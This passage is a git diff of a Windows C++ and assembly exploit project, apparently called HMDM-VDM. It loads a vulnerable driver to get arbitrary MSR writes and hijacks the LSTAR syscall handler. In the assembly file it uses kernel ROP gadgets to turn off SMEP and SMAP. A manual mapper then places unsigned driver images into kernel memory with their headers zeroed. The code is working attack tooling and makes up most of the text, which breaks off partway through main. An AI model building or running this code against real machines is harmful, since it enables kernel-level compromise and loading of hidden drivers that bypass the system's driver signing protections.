static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr;
namespace vdm
{
class msrexec_ctx
{
public:
explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback);
void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const;
private:
auto find_gadgets() -> bool;
auto find_globals() -> bool;
writemsr_t wrmsr;
};
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,90 @@
extern msrexec_handler : proc
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
m_pop_rcx_gadget dq 0h
m_smep_on dq 0h
m_smep_off dq 0h
public m_smep_on
public m_smep_off
public m_kpcr_rsp_offset
public m_kpcr_krsp_offset
public m_pop_rcx_gadget
public m_mov_cr4_gadget
public m_sysret_gadget
public m_system_call
.code
syscall_handler proc
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
syscall_wrapper proc
push r10 ; syscall puts RIP into rcx...
pushfq
mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget ; REX.W prefixed...
lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax ;
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
push m_mov_cr4_gadget ; turn smep back on...
push m_smep_on ; value of CR4 with smep off...
push m_pop_rcx_gadget ;
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable smep...
push m_smep_off ;
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
or rax, 040000h ;
push rax ;
popfq ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish:
popfq ; restore EFLAGS...
pop r10 ; restore r10...
ret
syscall_wrapper endp
end

@ -0,0 +1,14 @@
#pragma once
#include "ia32.hpp"
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" cr4 m_smep_on;
extern "C" cr4 m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);

@ -0,0 +1,414 @@
/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <fstream>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
#include "ia32.hpp"
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG KvaShadowRequired : 1;
ULONG KvaShadowRequiredAvailable : 1;
ULONG InvalidPteBit : 6;
ULONG L1DataCacheFlushSupported : 1;
ULONG L1TerminalFaultMitigationPresent : 1;
ULONG Reserved : 18;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
namespace utils
{
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
inline std::uint32_t get_pid(const wchar_t* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto rva =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name)) -
reinterpret_cast<std::uintptr_t>(module_base);
return image_base + rva;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

@ -0,0 +1,66 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "loadup.hpp"
#include "raw_driver.hpp"
#define IOCTL_WRMSR 0x229384
#pragma pack (push, 1)
typedef struct _write_msr_t
{
std::uint32_t reg;
std::uintptr_t value;
} write_msr_t, * pwrite_msr_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof raw_driver
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
std::string symlink("\\\\.\\" + key);
vdm::drv_handle = CreateFileA(
symlink.c_str(),
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
{
std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value };
return DeviceIoControl
(
vdm::drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data,
&io_data, sizeof io_data,
(LPDWORD)&bytes_handled, nullptr
);
}
}

@ -0,0 +1,102 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{3b7bf9c3-28e2-4f59-b248-5a079aab1964}</ProjectGuid>
<RootNamespace>physmeme</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>HMDM-VDM</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="hmdm_ctx.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="hmdm_ctx.h" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\utils.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,55 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{0f5e24d1-e652-454d-89e5-9020c876ca61}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{d41dd1cb-950f-4eda-ad22-a3570137e499}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="hmdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="util\utils.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="hmdm_ctx.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc">
<Filter>Header Files</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommandArguments>G:\shared_file\nmi.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

@ -0,0 +1,193 @@
#include "hmdm_ctx.h"
namespace drv
{
hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
:
kalloc(std::get<0>(routines)),
kmemcpy(std::get<1>(routines))
{}
auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair<image_base_t, image_entry_t>
{
if (drv_buffer.empty())
return { {}, {} };
const auto dos_header =
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
const auto nt_header =
reinterpret_cast<PIMAGE_NT_HEADERS>(
drv_buffer.data() + dos_header->e_lfanew);
const auto section_header =
reinterpret_cast<IMAGE_SECTION_HEADER*>(
reinterpret_cast<std::uintptr_t>(&nt_header->OptionalHeader) +
nt_header->FileHeader.SizeOfOptionalHeader);
drv_buffer_t image_mapped;
image_mapped.resize(nt_header->OptionalHeader.SizeOfImage);
std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin());
for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx)
{
const auto& section = section_header[idx];
const auto target =
reinterpret_cast<std::uintptr_t>(
image_mapped.data() + section.VirtualAddress);
const auto source =
reinterpret_cast<std::uintptr_t>(
dos_header + section.PointerToRawData);
std::copy_n(drv_buffer.begin() + section.PointerToRawData,
section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress);
}
const auto alloc_base =
reinterpret_cast<std::uint8_t*>(
kalloc(nt_header->OptionalHeader.SizeOfImage));
DBG_PRINT("> alloc base -> 0x%p\n", alloc_base);
if (!alloc_base)
return { {}, {} };
resolve_imports(image_mapped);
fix_relocs(image_mapped);
if (zero_headers)
{
const auto module_base =
nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data();
const auto module_size =
nt_header->OptionalHeader.SizeOfImage -
nt_header->OptionalHeader.SizeOfHeaders;
kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size);
}
else
{
const auto module_size =
nt_header->OptionalHeader.SizeOfImage;
kmemcpy(alloc_base, image_mapped.data(), module_size);
}
return
{
reinterpret_cast<std::uintptr_t>(alloc_base),
reinterpret_cast<std::uintptr_t>(alloc_base +
nt_header->OptionalHeader.AddressOfEntryPoint)
};
}
auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer) const -> void
{
const auto dos_header =
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
const auto nt_header =
reinterpret_cast<PIMAGE_NT_HEADERS>(
drv_buffer.data() + dos_header->e_lfanew);
const auto base_reloc_dir =
reinterpret_cast<PIMAGE_DATA_DIRECTORY>(
&nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if (base_reloc_dir->VirtualAddress)
{
auto reloc =
reinterpret_cast<PIMAGE_BASE_RELOCATION>(
drv_buffer.data() + base_reloc_dir->VirtualAddress);
for (auto current_size = 0u; current_size < base_reloc_dir->Size;)
{
const auto reloc_count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
auto reloc_data = reinterpret_cast<std::uint16_t*>(
reinterpret_cast<std::uintptr_t>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
const auto reloc_base =
drv_buffer.data() + reloc->VirtualAddress;
for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data)
{
const auto data = *reloc_data;
const auto type = data >> 12;
const auto offset = data & 0xFFF;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_DIR64:
{
const auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
*rva = reinterpret_cast<std::uintptr_t>(
drv_buffer.data() + (*rva - nt_header->OptionalHeader.ImageBase));
break;
}
default:
return;
}
}
current_size += reloc->SizeOfBlock;
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
}
}
}
auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
::ImageDirectoryEntryToData(drv_buffer.data(),
TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (!import_descriptors)
return;
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name =
reinterpret_cast<const char*>(
drv_buffer.data() + import_descriptors->Name);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->OriginalFirstThunk);
else
image_thunk_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->FirstThunk);
auto image_func_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->FirstThunk);
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{
const auto image_import_by_name =
reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
drv_buffer.data() + (*(DWORD*)image_thunk_data));
const auto name_of_import =
static_cast<char*>(image_import_by_name->Name);
image_func_data->u1.Function =
utils::kmodule::get_export(
module_name, name_of_import);
DBG_PRINT("> resolved import... %s!%s -> 0x%p\n",
module_name, name_of_import, image_func_data->u1.Function);
}
}
}
}

@ -0,0 +1,30 @@
#pragma once
#include "util/utils.hpp"
#include <type_traits>
#include <dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")
namespace drv
{
using kalloc_t = std::function<decltype(malloc)>;
using kmemcpy_t = std::function<decltype(memcpy)>;
using kmemset_t = std::function<decltype(memset)>;
using image_base_t = std::uintptr_t;
using image_entry_t = std::uintptr_t;
using mapper_routines_t = std::pair<kalloc_t, kmemcpy_t>;
using drv_buffer_t = std::vector<std::uint8_t>;
class hmdm_ctx
{
public:
explicit hmdm_ctx(const mapper_routines_t& routines);
auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true) -> std::pair<image_base_t, image_entry_t>;
const kalloc_t kalloc;
const kmemcpy_t kmemcpy;
private:
auto resolve_imports(drv_buffer_t& drv_buffer) const -> void;
auto fix_relocs(drv_buffer_t& drv_buffer) const -> void;
};
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

@ -0,0 +1,3 @@
// Icon Resource Definition
#define MAIN_ICON 102
MAIN_ICON ICON "icon.ico"

@ -0,0 +1,88 @@
#include "hmdm_ctx.h"
#include "vdm_ctx/vdm_ctx.hpp"
int __cdecl main(int argc, char** argv)
{
if (argc < 2)
{
std::printf("> please provide a path to a driver...\n");
return -1;
}
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
std::printf("> drv handle: 0x%x, drv key: %s, load status: 0x%x\n",
drv_handle, drv_key.c_str(), drv_status);
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
